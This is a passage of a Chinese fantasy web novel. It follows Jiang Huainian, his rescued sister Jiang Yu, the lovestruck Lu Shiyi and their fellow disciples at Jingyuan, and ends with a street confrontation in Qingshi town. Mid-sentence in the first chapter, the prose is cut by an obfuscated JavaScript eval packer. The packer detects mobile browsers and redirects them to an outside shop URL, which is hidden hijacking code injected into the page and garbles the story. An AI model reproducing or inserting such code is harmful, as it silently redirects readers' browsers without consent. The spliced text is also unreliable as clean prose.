江妤把脸埋在他肩头,身体微微发抖,但没有哭。过了好一会儿,她才抬起头,眼眶红红的,但眼神已经恢复了平日的倔强:“这是哪儿?那些人是谁?” 江淮年这才想起介绍:“这是暂时休息的地方,我们要回静园,师父修行的地方。这几位是我的师兄,”他看向陆时忆,顿了顿,“他是陆时忆。是他们帮我救了你。” 江妤顺着他的目光看去,对上了陆时忆那双亮得惊人的眼睛。 少年见她看过来,立刻咧开嘴,露出一个灿烂到有点傻气的笑容。 “你好啊,江妤妹妹!”陆时忆的声音比平时高了八度,语气里的热情几乎要溢出来,“我是陆时忆,雷系异能者,今年十八岁,身高一米八七,我还会再长高的! 喜欢蓝色和甜食,讨厌芹菜和下雨天! 你饿不饿?渴不渴? 身上有没有哪里不舒服?我跟你说,你哥可担心你了,这一路上……” 他一口气说了一大串,语速快得像连珠炮,完全没有要停下的意思。江妤被他这突如其来的热情搞得有点懵,淡蓝色的眸子里写满了困惑和一丝嫌弃。 她转头看向江淮年,用眼神询问:这人是不是脑子有问题? 江淮年也愣住了。他跟陆时忆相处了这些日子,知道这位师兄性格跳脱,话也多,但从未见过他如此……殷勤?热情?还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119450|195948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是说,这才是陆时忆的正常状态? 他还没来得及回答,陆时忆已经不知从哪儿摸出一个水囊,递到江妤面前:“喝水喝水!你昏迷这么久,肯定渴了!这水我用法术净化过,可甜了!” 江妤没接,只是看着他,然后慢慢皱起了眉。 陆时忆毫不气馁,又把水囊往前递了递:“真的可甜了!不信你尝尝!” 江妤终于开口,声音依旧嘶哑,但语气已经恢复了平日的冷淡:“不用。” 两个字,干脆利落。 陆时忆举着水囊的手僵在半空,脸上的笑容也僵了一下,但很快又恢复灿烂:“那、那你想吃什么?我这儿有干粮,还有昨天在林子里摘的野果,可新鲜了!或者你想吃肉?我去打只兔子来,我烤兔肉可好吃了,裴衍都说好……” “陆时忆。”裴衍不知何时已调息完毕,正冷冷地看着他,“安静。” 陆时忆立刻闭嘴,但眼睛还黏在江妤身上,一副欲言又止的样子。 江妤不再理他,转向江淮年,低声问:“哥,我们什么时候回家?” “暂时……回不去了。”江淮年斟酌着措辞,“那些抓你的怪物,可能还会找上门。静园比较安全,师父也能保护你。等风头过了,我们再……” “我不需要保护。”江妤打断他,语气强硬,“我自己能保护自己。” “江妤……” “我说了,我不需要。”江妤坐直身体,虽然脸色依旧苍白,“那些怪物,我会努力变强,一个个杀光。不需要别人帮忙。” 江淮年看着她,忽然觉得妹妹有些陌生。 那个会躲在他身后、会撒娇要糖吃的小女孩,好像在一夜之间长大了,变成了一个浑身是刺又拒绝任何人靠近的战士。 但他理解她。经历过那些事,谁都会变。 “好。”他轻声道,“但你得先养好身体。等你好了,我教你怎么变强,我们一起杀光那些怪物。” 江妤盯着他看了几秒,然后点了点头,重新靠回岩壁上,闭上眼睛,不再说话。 陆时忆还想凑过去说些什么,被裴衍一个眼神瞪了回去。他挠挠头,悻悻地退回火堆旁,但眼睛还是时不时往江妤那边瞟。 天色大亮,众人收拾行装,准备返回静园。宋听澜和时聿也已恢复了些力气,虽仍虚弱,但至少能自己行走。 返程的路上,陆时忆变得异常……活跃。他一会儿跑到前面探路,一会儿又折回来,变着花样找话题跟江妤搭话: “江妤妹妹,你喜欢什么颜色啊?我觉得淡蓝色就特别适合你,像天空又像大海,可好看了!” “江妤妹妹,你喜欢吃什么呀?甜的还是咸的?我跟你说,城南有家点心铺子的桂花糕特别好吃,回去我带你去尝尝?” “江妤妹妹,你平时喜欢做什么?画画?看书?还是练功?我雷系功法练得可好了,以后可以教你啊!” 江妤全程冷着脸,要么不理,要么回一句“不关你事”或“别烦我”。 但陆时忆仿佛完全没感受到她的抗拒,依旧乐此不疲地问东问西,脸上挂着那种傻乎乎的笑容。 江淮年跟在后面,看着这一幕,脑子里缓缓冒出一个问号。 ? 陆时忆这是怎么了? 他捅了捅身边的裴衍,压低声音:“裴衍,陆时忆他……没事吧?” 裴衍瞥了一眼前方围着江妤打转的陆时忆,嘴角几不可察地抽动了一下,然后吐出两个字:“发春。” 江淮年:“……” 他仔细看了看陆时忆。 那亮得惊人的眼睛,那过分热情的态度,那恨不得把心掏出来给江妤看的样子。 好像,似乎,可能……确实有点像。 但江妤才十五岁啊!虽然因为早熟看起来像十七八,但实际年龄摆在那儿。而且她现在这副生人勿近的冰山模样,陆时忆是眼瞎吗看不出来她烦他? 江淮年心情复杂。 一方面,他感激陆时忆在战斗中出力,也感谢他这一路上的照顾;但另一方面,看着这傻小子围着自家妹妹打转,而妹妹明显不耐烦的样子,他又觉得有点……好笑?无奈?还是头疼? 算了,随他去吧。江淮年摇摇头,决定不掺和这摊浑水。只要陆时忆别太过分,江妤自己会处理。 但他显然低估了陆时忆的“热情”。 回到静园后,萧予为江妤检查了身体,确认她除了虚弱和轻微的精神创伤外,并无大碍。老人特意腾出一间厢房给她住,就在江淮年隔壁。 从那天起,陆时忆就开启了“全天候待机”模式。 江妤在院子里晒太阳,他就搬个小凳子坐旁边,给她讲静园的历史、异能的基础知识、甚至是他小时候的糗事,讲得口干舌燥也不停。 江妤在房间里休息,他就蹲在门口,美其名曰“守卫”,实际上耳朵竖得老高,一有动静就探头探脑地问:“江妤妹妹你醒啦?饿不饿?渴不渴?要不要出去走走?” 江妤去厨房帮忙,他就抢着洗菜切菜,一边切一边吹嘘自己的厨艺,结果差点把手指切掉。 最离谱的是有一次江妤在池塘边看鱼,陆时忆不知从哪儿弄来一根鱼竿,非要教她钓鱼。结果鱼没钓上来,他自己脚下一滑,整个人栽进池塘里,成了落汤鸡。爬上来后还嘿嘿傻笑,说:“江妤妹妹你看,我给你表演了个跳水!” 江妤当时就翻了个白眼,转身走了,留下陆时忆一个人在池塘边瑟瑟发抖。 江淮年把这些看在眼里,心情从好笑变成无奈,从无奈变成头疼,最后变成了麻木。他试图跟陆时忆沟通:“陆时忆,江妤她……性格比较不好相处,不太喜欢跟人说话。” 陆时忆一拍胸脯:“没事!我外向,我可以多说点!” “她最近心情不好,可能需要静一静。” “心情不好就更需要人陪啊!我跟你说,我可有经验了,我二叔家的三表哥的邻居的狗心情不好的时候,我就……” 江淮年放弃了。 裴衍对此的评价是:“让他撞几次南墙,自然就消停了。” 时聿更直接:“烦。” 宋听澜则笑而不语,只是某次给江妤送药时,委婉地提醒了一句:“陆师弟性子活泼,但没什么坏心。江姑娘若觉得困扰,直言便是,他不会纠缠。” 江妤听了,只是冷冷道:“我看起来像不会直言的样子吗?” 宋听澜笑笑,不再多言。 如此过了七八日,江妤的身体逐渐恢复,脸上的血色也回来了些。她依旧沉默寡言,除了跟江淮年说几句话外,对其他人都是能避则避,尤其是陆时忆,几乎到了看见他就绕道走的地步。 但陆时忆丝毫不气馁,反而越挫越勇。他甚至不知从哪儿打听到江妤喜欢海,跑去跟萧予软磨硬泡,要来了一本介绍海洋生物的图册,兴冲冲地拿去给江妤看。 “江妤妹妹你看!这是海豚,可聪明了!这 是珊瑚,五颜六色的!这是贝壳,我下次去海边给你捡一堆回来,串成项链……” 江妤接过图册,翻了两页,然后啪地合上,塞回陆时忆怀里:“幼稚。” 陆时忆抱着图册,脸上的笑容终于僵住了。他张了张嘴,想说什么,但看着江妤那双冷淡的蓝眼睛,最终什么也没说出来,蔫头耷脑地走了。 那天晚上,江淮年去找陆时忆,想安慰他几句,却看见陆时忆蹲在银杏树下,抱着那本图册,嘴里嘀嘀咕咕: “她说我幼稚……我哪儿幼稚了?海豚不可爱吗?珊瑚不漂亮吗?贝壳项链多好看啊……她是不是不喜欢海洋生物?那她喜欢什么?星星?月亮?还是花?可是静园里花不多啊,要不我去外面摘点?但是师父说最近外面不安全……” 江淮年站在树后,听着陆时忆的自言自语,忽然觉得有点心酸,又有点好笑。他摇摇头,转身回了房间。 房间里,江妤正坐在窗边,看着外面的月色发呆。听见开门声,她头也不回地问:“哥,那个陆时忆是不是脑子有问题?” 江淮年想了想,斟酌道:“他……可能只是比较热情。” “热情过头就是有病。”江妤毫不客气,“我跟他很熟吗?整天围着我转,烦死了。” “他救了你。”江淮年提醒。 江妤沉默了一会儿,低声道:“我知道。我感激他,也感激其他几位师兄。但这不代表我要忍受他的骚扰。” 江淮年走到她身边,揉了揉她的头发。 这个动作他很久没做过了,江妤身体僵了一下,但没有躲开。 “陆时忆人不错,就是……不太会看人脸色。”江淮年说,“你要是真觉得烦,就直接跟他说清楚。他看起来傻,但不笨,会明白的。” 江妤嗯了一声,没再说话。 窗外,月色如水。银杏树的影子投在地上,随风摇曳。 江淮年看着妹妹的侧脸,忽然想起很多年前,父母还在时,江妤也是这样坐在窗边,看着外面的雨,小声说:“哥,我想去看海。” 那时候他拍着胸脯保证:“等哥哥长大了,赚好多好多钱,带你去最好的海边,住最大的房子,吃最新鲜的海鲜。” 现在,他长大了,却没有钱,没有大房子,没有海鲜。他甚至连一个安全普通的家都给不了她。 但至少,他还活着,她也还活着。他们还在一起,还能看见同一片月色。 这就够了。 江淮年轻轻握了握妹妹的手,低声道:“睡吧,明天还要早起练功。” 江妤点点头,躺回床上,闭上眼睛。月光洒在她脸上,长长的睫毛在眼睑投下淡淡的阴影。 窗外,银杏树下,陆时忆还在嘀嘀咕咕,声音渐渐低下去,最终融入夜色。 8. 小年糕 暗影之森一役后,江淮年身上的伤口在宋听澜的调理下迅速愈合,连那些因过度催动异能而受损的经脉,也在每日的温养中缓缓修复。 江妤的身体恢复得更快,半个月后已能下床走动,一个月后便活蹦乱跳。 或者说,重新变回了那个脾气暴躁、说话带刺的江大小姐。 当然。 最明显的变化,发生在江淮年身上。 或许是终于从“必须立刻变强救妹妹”的巨大压力中解脱出来,或许是经历生死后的豁然开朗,又或许只是回到了他原本该有的模样。 十七岁的少年终于一点点从紧绷的壳子里钻了出来。 那天清晨,裴衍难得起了个大早。 当然,是被吵醒的。 院子里传来砰砰砰的击打声,节奏快而密集,像有人发了狠在捶沙袋。他揉着惺忪睡眼推开门,就看见江淮年赤着上身,对着木人桩猛攻。 少年火红色的短发被汗水打湿,一绺绺贴在额前。 他的瞳孔在专注时显得格外明亮。汗水顺着紧实的肌肉线条滑落,动作间,眼角那颗泪痣随着肌肉牵动微微上扬,平添几分说不清的……风情。 裴衍愣了两秒,才反应过来这人是谁。 “你……”他开口,声音带着刚醒的沙哑,“在干什么?” 江淮年停下动作,转过头,汗珠从下颌滴落。他咧嘴一笑,露出两颗尖尖的虎牙:“哟,裴石头,终于舍得起床了?太阳都晒屁股了。” 裴衍:“……” 这语气,这称呼,这笑容……和一个月前那个紧绷、沉默、看人时眼底总藏着阴郁的少年判若两人。 “木人桩不是这么打的。”裴衍面无表情地说,“发力不对,会伤到手腕。” “那要怎么打?”江淮年挑眉,桃花眼里带着明晃晃的挑衅,“裴师父教教我?” 裴衍盯着他看了几秒,然后转身回屋,砰地关上了门。 江淮年对着紧闭的房门翻了个白眼,继续捶他的木人桩。砰砰砰,节奏更快了。 从那天起,江淮年彻底抛弃了“师兄”这个称呼。裴衍成了“裴石头”,陆时忆是“陆傻子”,时聿是“时冰块”,宋听澜稍微好点,因为这人总笑眯眯的,肚子里不知道憋着什么坏水。 起初陆时忆还试图抗议:“小师弟,叫师兄!叫师兄懂不懂!没大没小!” 江淮年回他一个白眼:“你打赢我我就叫。” 陆时忆撸袖子就要上,被宋听澜笑眯眯地拦住:“陆时忆,你确定要跟一个冰火双系打近身战?” 陆时忆想起暗影之森里那团差点把巢穴炸上天的融合火球,默默收回了手。 时聿对此毫无反应,反正他本来话就少,江淮年叫他“冰块”还是“师兄”都没区别。 裴衍则彻底贯彻了“懒得搭理”的方针,他本来就懒得管,之前那段时间还是因为师父强制要求,要不然他可没那么多精力。 于是静园的清晨,江淮年雷打不动地早起练功,有时是打木人桩,有时是绕着院子跑圈,有时是坐在银杏树下调息。 他那头红发在晨光里格外扎眼,跑起来时发梢飞扬,整个人都透着少年人特有的蓬勃生气。 而裴衍这位曾经严格要求江淮年“寅时三刻集合,迟到一刻加练一个时辰”的师兄,彻底暴露了本性。 他根本就是个睡神。 不到日上三竿绝不起床,起床后也是睡眼惺忪,走路慢吞吞,说话懒洋洋,能坐着绝不站着,能躺着绝不坐着。 有次江淮年实在看不过去,问他:“裴石头,你当初训练我那劲儿哪去了?装的?” 裴衍打了个哈欠,眼皮都没抬:“不然呢?你以为我愿意早起?” 江淮年:“……”他竟无言以对。 陆时忆则陷入了某种诡异的循环:训练,骚扰江妤,被骂,蔫一会儿,继续骚扰,继续被骂。 这天午后,江妤坐在池塘边的石凳上,拿着一本萧予给她的水系异能入门手册,皱着眉头研读。陆时忆就搬个小马扎凑过去,探着头问:“江妤妹妹,看什么呢?这么认真。” 江妤头也不抬:“书。” “什么书呀?我看看……哦,水系入门啊。这个我熟!水系主要分两个方向,控制和治愈,你想学哪个?我跟你说,治愈系可吃香了,以后受伤都不用找宋狐狸,自己就能……” “吵。”江妤冷冷吐出一个字。 陆时忆噎了一下,但很快又重整旗鼓:“那控制也不错!你看啊,水能化冰,能化雾,能化汽,变化多端,打起来可帅了!不过你刚入门,得从基础的开始,比如凝水成珠,这个简单,我教你啊?” 江妤啪地合上书,转头看他:“陆时忆。” “诶!在呢!”陆时忆立刻坐直,眼睛亮晶晶的。 “你。很、烦。” 陆时忆脸上的笑容僵住了。他张了张嘴,想说什么,但江妤已经抱着书起身,头也不回地走了,留下他一个人对着池塘发呆。 池塘里的锦鲤吐了个泡泡,咕嘟一声,像是在嘲笑他。 江淮年正好路过,目睹了全程。他走到陆时忆身边,拍了拍他的肩:“节哀。” 陆时忆幽幽地叹了口气:“小年糕,你说江妤妹妹是不是讨厌我啊?” 江淮年被这称呼雷得一个激灵:“你叫我什么?” “小年糕啊。”陆时忆理所当然地说,“江妤妹妹不是这么叫你的吗?我听见了。” 江淮年:“……”他妹妹确实私下里会这么叫他,但那是他妹妹!陆时忆这傻子凭什么也跟着叫! “不准叫。”他板起脸。 “为什么?多可爱啊,小年糕,又软又糯……”陆时忆还在碎碎念,江淮年已经一巴掌拍在他后脑勺上。 “说了不准叫!” “嗷!好好好,不叫就不叫……”陆时忆捂着脑袋,委屈巴巴,“那你说,江妤妹妹为什么总不理我?” 江淮年看着他那副蔫头耷脑的样子,忽然有点同情。 虽然只有一点点。 他想了想,说:“江妤她……性子比较独。而且刚经历过那些事,对人防备心重,很正常。” “可我对她很好啊!”陆时忆不服,“我给她送吃的,送喝的,教她异能,还给她讲笑话……” “但她没让你做这些。”江淮年打断他,“陆傻子,听我一句劝,喜欢一个人不是把她当小孩哄,也不是整天围着她转。你得尊重她,给她空间,等她愿意接受你的时候,自然会接受你。” 陆时忆愣了愣,似懂非懂:“那……我现在该怎么办?” “该干嘛干嘛去。”江淮年推了他一把,“训练去,别在这儿蹲着发霉。” 陆时忆被推走了,一步三回头,看着江妤离去的方向,眼神哀怨得像被抛弃的小狗。 江淮年摇摇头,走向自己的房间。路过裴衍屋外时,他听见里面传来均匀的呼吸声。 得,这位爷又睡回笼觉去了。 他推门进屋,反手关上,然后整个人扑到床上,长长地舒了口气。 这样其实很好。 他在心里对自己说。 这样吵吵闹闹有人气儿的日子,比之前那种绷紧神经随时准备赴死的状态,要好上一万倍。 他可以睡到自然醒,虽然还是习惯早起练功;可以跟陆时忆斗嘴,跟裴衍抬杠,偶尔还能从宋听澜那儿套出点有意思的药理知识;可以看着江妤一天天恢复活力,从那个苍白沉默的少女,变回会翻白眼、会骂人、会追着他问“哥你今天练了什么”的妹妹。 他甚至开始觉得,静园像个家了。 不是那个破旧的书铺,不是那个只有他和江妤相依为命的小房间,而是一个真正有烟火气的可以称之为“家”的地方。 当然,这种平静是相对的。 江妤在身体完全恢复后,做的第一件事就是找到萧予,郑重其事地说:“师父,我想学异能,我想变强。” 萧予看着她,那双清亮的眼睛里看不出情绪:“为什么?” “我不想再躲在哥哥身后。”江妤说得斩钉截铁,“我想保护自己,也想保护哥哥。” 萧予沉默了片刻,点头:“好。从明天开始,你随我修习水系异能。” 江妤的天赋比江淮年预想的还要好。 或许是那场劫难激发了她的潜力,又或许她本就天生适合水系,短短半个月,她已经能凝水成珠,操控水流做出简单的形态变化。 一个月后,她甚至能在掌心凝聚出一小团淡蓝色的治愈水雾。 虽然效果微乎其微,只能治治擦伤,但已经是惊人的进步。 陆时忆自然是最高兴的那个。他恨不得一天十二个时辰黏在江妤身边,美其名曰“指导”,实际上就是找各种机会搭话。 江妤起初还耐着性子听他讲,后来烦了,直接一捧水泼他脸上:“闭嘴,吵死了。” 陆时忆抹了把脸,水珠顺着下巴往下滴,他不但不生气,反而乐呵呵的:“江妤妹妹,你这水凝得越来越好了,看这水珠,多圆润,多清澈……” 江妤转身就走。 江淮年在一旁看得直摇头。 他算是看明白了,陆时忆这是彻底栽了,栽得死死的,连脸都不要了。 但江淮年能感觉到,妹妹其实并不真的讨厌陆时忆。否则以她的脾气,早该一盆水浇过去让陆时忆滚远点了,而不是每次只泼一小捧,还专挑不痛不痒的地方泼。 少年人的心思啊,弯弯绕绕的,连当事人都未必说得清。 这天下午,江淮年结束训练,打算回房冲个凉。路过庭院时,看见江妤坐在银杏树下,手里托着一团水球,正尝试把它变成各种形状。水球在她掌心翻滚,时而拉长成细流,时而压扁成水镜,虽然还不太稳定,但已初见雏形。 陆时忆蹲在她旁边,眼睛一眨不眨地盯着,嘴里还在念叨:“对对对,就是这样,想象水是有生命的,你想让它变成什么样,它就变成什么样……” 江妤没理他,专注地操控着水球。 阳光透过银杏叶的缝隙洒下来,在她专注的侧脸上投下细碎的光影。 有那么一瞬间,江淮年觉得妹妹真的长大了。 不是指年龄,而是那种从内而外散发出的坚韧而沉静的气质。 他正看着,肩膀忽然被人拍了一下。 回头,是宋听澜。 他依旧笑得温润,手里提着一个药篓,里面装着些新鲜的草药:“小师弟,看什么呢这么入神?” “没什么。”江淮年收回视线,“宋师兄采药去了?” “嗯,后山有几株‘清心草’熟了,摘回来晒干,给你和江姑娘入药。”宋听澜说着,目光也投向银杏树下,笑意深了几分,“陆师弟倒是执着。” “他那是傻。”江淮年毫不客气。 “傻人有傻福。”宋听澜意味深长地说,然后转了话题,“对了,你体内冰火之力最近如何?可还有冲撞之感?” “好多了。”江淮年活动了一下手腕,“虽然还不能完全掌控,但至少不会再失控伤到自己。多亏了师兄的温灵玉和每月疏导。” “那就好。”宋听澜点头,“修行如逆水行舟,不进则退。你根基已稳,接下来该尝试更深层的运用了。比如……将冰火之力融入拳脚。” 江淮年眼睛一亮:“就像裴石头那样,把土系异能融入招式?” “正是。”宋听澜笑道,“不过裴师兄那是多年苦练所得,你需循序渐进,不可操之过急。若有不懂之处,可来问我,也可直接问裴师兄。虽然他看起来懒,但于武道一途,确实颇有心得。” 提到裴衍,江淮年就想起那人每天睡到日上三竿的德行,忍不住吐槽:“他?得了吧,我现在去敲门,他能用枕头砸死我。” 宋听澜笑而不语。 两人又聊了几句,宋听澜便提着药篓去了书房。 他每日这个时辰都要向萧予汇报药材采摘情况并学习新的药理知识。 江淮年则回房冲凉,换了身干净衣服休息了会,出来时已是傍晚。 夕阳西下,橘红色的光铺满庭院。银杏树的叶子被镀上一层金边,风一吹,沙沙作响,像在窃窃私语。 裴衍终于起床了,正靠在廊柱上打哈欠,一副没睡醒的样子。 时聿不知从哪儿冒出来,手里拎着两只野兔,默不作声地走向厨房。 陆时忆还在缠着江妤,非要教她一个“超厉害”的雷系小技巧,被江妤一句“我又不是雷系”怼了回去。 宋听澜从书房出来,手里拿着几卷竹简,看见江淮年,笑着招招手:“小师弟,来,帮我把这些拿到药房去。” 江淮年走过去接过竹简,随口问:“这是什么?” “一些古籍,记载着稀有药材的培育之法。”宋听澜说,“师父让我研究研究,看能不能在静园里种出来。” “种药材?”江淮年挑眉,“宋师兄还会这个?” “略懂一二。”宋听澜谦虚道。 两人并肩往药房走。药房在静园最深处,单独一个小院,里面摆满了各式各样的药材,空气里弥漫着复杂的药香。 宋听澜将竹简在桌上摊开,开始细细研读。江淮年没立刻离开,而是靠在门框上,看着宋听澜专注的侧脸。 “宋师兄。”他忽然开口。 “嗯?”宋听澜头也不抬。 “你当初……为什么跟着师父修行?” 宋听澜 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“所以……”江淮年迟疑道,“你学了木系异能?因为木系主治愈?” “是,也不是。”宋听澜回过头,笑容里多了些别的东西,“小师弟,每个人并不能决定自己的异能是什么类别,只是我恰巧为木系而已。而木系确实主治愈,但也能杀人。藤蔓可以救人,也可以绞杀人。生机可以治愈,也可以催化毒物。医术可以救人,也可以……让人生不如死。” 他说这话时,语气依旧温和,眼神依旧平静,但江淮年却感到一股寒意从脊背窜上来。 “那你的仇……”他小心翼翼地问。 “报了。”宋听澜重新拿起笔,蘸了蘸墨,“三年前,我找到了当年袭击村子的影仆首领。我没杀它,只是让它尝了尝我新研制的药。它哀嚎了三天三夜,最后化为一滩脓水。” 江淮年不知该说什么。他忽然理解了为什么陆时忆会说宋听澜“笑里藏刀,阴得很”。 “吓到了?”宋听澜看他表情,轻笑出声,“放心,我对同门还是很好的。尤其是小师弟你,这么可爱,我可舍不得对你用毒。” 江淮年干笑两声,决定以后离宋听澜的药房远一点。 从药房出来,天色已经暗了。厨房里飘出烤兔肉的香味,时聿的手艺确实不错,简单的食材也能做得香气扑鼻。陆时忆在院子里摆好了桌椅,江妤难得没躲回房间,而是坐在桌边,盯着桌上的碗筷发呆。 裴衍也终于彻底清醒了,正慢悠悠地擦着桌子。 虽然动作看起来还是懒洋洋的,但至少是在干活。 “小年糕,快来!”陆时忆冲江淮年招手,“就等你了!” 江淮年瞪他:“说了不准叫那个!” “好好好,不叫不叫,江淮年,江大少爷,江大帅哥,快来吃饭!”陆时忆从善如流地改口,但眼里的促狭藏不住。 江淮年走过去,在江妤身边坐下。少女转头看了他一眼,低声问:“哥,你下午去哪了?” “帮宋师兄搬了点东西。”江淮年说,顺手给她夹了块兔肉,“尝尝,时冰块烤的,闻着挺香。” 江妤嗯了一声,小口小口地吃起来。 时聿端着最后一盘菜出来,是清炒时蔬,绿油油的,看着就清爽。他把菜放下,在裴衍对面坐下,依旧一言不发。 宋听澜也来了,手里提着一壶酒。 说是酒,其实是他用草药泡的药酒,有舒筋活血的功效。他给每人倒了一小杯,轮到江妤时,犹豫了一下:“江姑娘年纪尚小,不宜饮酒,我给你倒杯果茶吧。” 江妤点头:“谢谢宋师兄。” 一顿饭吃得还算融洽。陆时忆不停地讲笑话,虽然大部分都冷得让人想打哆嗦;裴衍偶尔插一两句,都是精准吐槽;时聿专心吃饭,仿佛桌上的一切都与他无关;宋听澜则笑眯眯地听着,偶尔给江淮年或江妤夹菜。 江淮年看着这一幕,忽然觉得心里很满,那种感受从心底一点点漫上来,填满了那些因为失去而空出来的地方。 饭后,众人各自散去。江淮年陪江妤在院子里散步消食,月光很好,洒在青石板路上,像铺了一层薄薄的银霜。 “哥。”江妤忽然开口。 “嗯?” “陆时忆他……是不是喜欢我?” 江淮年脚步一顿,差点被自己的口水呛到。 他转头看江妤,少女的脸上没什么表情,但耳朵尖有点红。 “你……看出来了?”他小心翼翼地问。 “我又不傻。”江妤白了他一眼,“他整天围着我转,笑得像个二傻子,是个人都能看出来。” “那你怎么想?”江淮年问得更加小心。 江妤沉默了很久,久到江淮年以为她不会回答了,她才低声说:“我不知道。” 她踢了踢脚边的小石子:“他救过我,对我很好,我知道。但他太吵了,太烦了,有时候我真想一盆水浇他头上,让他清醒清醒。” 江淮年忍不住笑出声:“那你浇啊。” “我浇过。”江妤闷闷地说,“但他下次还来。” “那就再浇,浇到他不敢来为止。” 江妤又不说话了。两人又走了一段,她才小声说:“其实……他也没那么讨厌。” 江淮年挑眉,等她的下文。 “就是太吵了。”江妤补充,“要是他能安静点,别整天叽叽喳喳的,我可能……可能没那么烦他。” 江淮年懂了。 小姑娘不是真的讨厌陆时忆,只是不适应这种热烈直白毫无保留的好意。 她习惯了用冷漠和尖刺保护自己,突然有人不管不顾地闯进来,她当然会手足无措。 “慢慢来吧。”他揉了揉妹妹的头发,“陆傻子虽然傻,但人不坏。你要是真受不了,就跟他说清楚;要是觉得还行,就给他个机会。反正你们都还年轻,等得起。” 江妤嗯了一声,没再继续这个话题。 两人走到江妤房门口,江淮年没先走,先拉着江妤说:“但是啊,小妤。你还小,不要早恋。” 江妤看着他哥那种有点傻的认真表情默默扣了个问号:“?” 江淮年碰了碰鼻子,然后催促江妤赶紧睡觉去。 看着她进屋,关上门,江淮年才转身回自己房间。 院子里,银杏树的影子被月光拉得很长。厨房里还亮着灯,是时聿在收拾;书房里也有光,宋听澜大概又在研读医书;裴衍屋里黑着,估计已经睡下了;陆时忆房里传来窸窸窣窣的声音,不知道在鼓捣什么。 江淮年推开自己的房门,走了进去。 明天,太阳照常升起,他依旧要早起练功。 9. 静园“动物园”欢迎你 江淮年练功练得有些腻了,跟萧予报备了一声,独自去了趟城里。 小镇名唤青石镇,因镇外一条青石古道得名。镇子不大,但还算热闹,街道两侧商铺林立,叫卖声、讨价还价声、孩童嬉闹声混杂在一起,充满市井的烟火气。江淮年久未踏足这般热闹的地方,一时间竟有些恍如隔世之感。 他在街上随意逛着,买了两串糖葫芦,又在一家布庄买了匹浅蓝色的布料,想着给妹妹做身新衣裳。 正打算打道回府,前方街口忽然传来一阵喧哗。 一群人围成个圈,指指点点,议论纷纷。江淮年本不是爱凑热闹的性子,但人群中传来的怒骂声和拳脚声让他皱了皱眉。他拨开人群挤进去,看清了里面的情形。 圈子中央,站着两个人。 一个穿着锦缎长衫、油头粉面的少年,约莫十六七岁,此刻正捂着脸,指缝间渗出血丝,脸上写满了愤怒和不敢置信。 他身后站着几个家丁打扮的壮汉,个个横眉怒目,摩拳擦掌。 另一个则背对着江淮年,身形清瘦,穿着一身洗得发白的灰色布衣,最引人注目的是那头短发,是浅绿色,在阳光下像一丛新生的嫩草,生机勃勃,却也格格不入。 绿发少年站得笔直,微微侧着头,露出一截白皙的脖颈和线条分明的下颌。江淮年看不清他的表情,但能感觉到他周身散发出的那种冰冷的气息。 “沈言!你他妈敢打老子!”锦袍少年捂着肿起的半边脸,声音因愤怒而尖利,“你知道老子是谁吗?我爹是青石镇镇长!信不信老子让你全家在镇上待不下去!” 沈言嗤笑一声:“你爹是镇长,跟你是不是个废物,有关系吗?” 人群里传来几声压抑的嗤笑。 锦袍少年气得脸都白了,指着沈言的手指都在抖:“你、你……” “我怎么?”沈言转过身来。 江淮年终于看清了他的脸。 那是一张相当漂亮的脸。 皮肤白皙,鼻梁高挺,唇形薄而清晰,最引人注目的是那双眼睛。 丹凤眼,眼尾微微上挑,瞳孔是极深的墨绿色,像两潭深不见底的寒潭。 左耳耳垂上戴着一枚浅绿色的耳钉,样式简单,却和他那头绿发相得益彰。 此刻那双墨绿的眸子里满是讥诮和不屑,像在看一坨垃圾。 “骂完了吗?”沈言的声音很冷,没什么起伏,“骂完了就让开,我没时间跟废物浪费口舌。” 锦袍少年彻底被激怒了,一挥手:“给我上!往死里打!打死了我负责!” 几个家丁立刻围了上去,摩拳擦掌,脸上带着狞笑。围观的人群发出一阵惊呼,有人想上前劝阻,但看到那几个壮汉凶狠的眼神,又退缩了。 江淮年皱了皱眉。 他本不想多管闲事,但那绿毛实在太瘦了。再怎么样也不像能打的过他们的人。 鬼使神差地,江淮年开口了:“这么多人欺负一个,不太好吧?” 所有人都看向他。 锦袍少年上下打量他一番,见他穿着普通,不像什么有来头的人物,当即冷笑:“你谁啊?少管闲事,否则连你一块打!” 沈言也看了过来。眼神在江淮年脸上停留了一瞬,掠过他那头醒目的红发和异色瞳孔,没什么表情,又移开了视线。 江淮年笑了笑,走上前,挡在沈言身前:“路见不平,拔刀相助。这位……镇长公子,他打你,总有原因吧?不如说说前因后果,让大家评评理?” “评什么理!”锦袍少年吼道,“他打我!这就是理!” “他为什么打你?” “他……”锦袍少年语塞,随即恼羞成怒,“关你屁事!” 江淮年看向沈言:“你说。” 沈言瞥了他一眼,语气冷淡:“他骂我。” “骂你什么?” “骂我绿毛怪,骂我没爹没妈,骂我是从垃圾堆里捡来的野种。”沈言一字一句的说,“还说我娘跟人跑了,我爹被气死了,活该我孤零零一个人。” 每说一句,人群里的议论声就大一分。 围观的人大多认识这个锦袍少年,知道他是镇长的独子,平日里就嚣张跋扈,欺男霸女的事没少干。但碍于他爹的权势,没人敢说什么。 江淮年转过身,看向锦袍少年:“他说的,是真的?” 锦袍少年脸色一阵青一阵白,但还是梗着脖子:“是又怎样?我说错了吗?他本来就是绿毛怪,本来就是没爹没妈……” 话音未落,江淮年动了。 他的动作快得几乎看不清,只一眨眼,人已经到了锦袍少年面前,右手探出,一把掐住对方的脖子,将人整个提了起来。 锦袍少年双脚离地,脸憋得通红,双手拼命扒拉江淮年的手腕,却像蚍蜉撼树。那几个家丁反应过来,想扑上来,江淮年头也不回,左腿一伸,砰砰砰几声闷响,几个壮汉同时倒飞出去,摔在地上半天爬不起来。 全场死寂。 所有人都瞪大了眼睛,看着这个红发异瞳的少年像拎小鸡一样拎着镇长公子,脸上还带着笑。 “道歉。”江淮年说,声音不高,却清晰地传入每个人耳中。 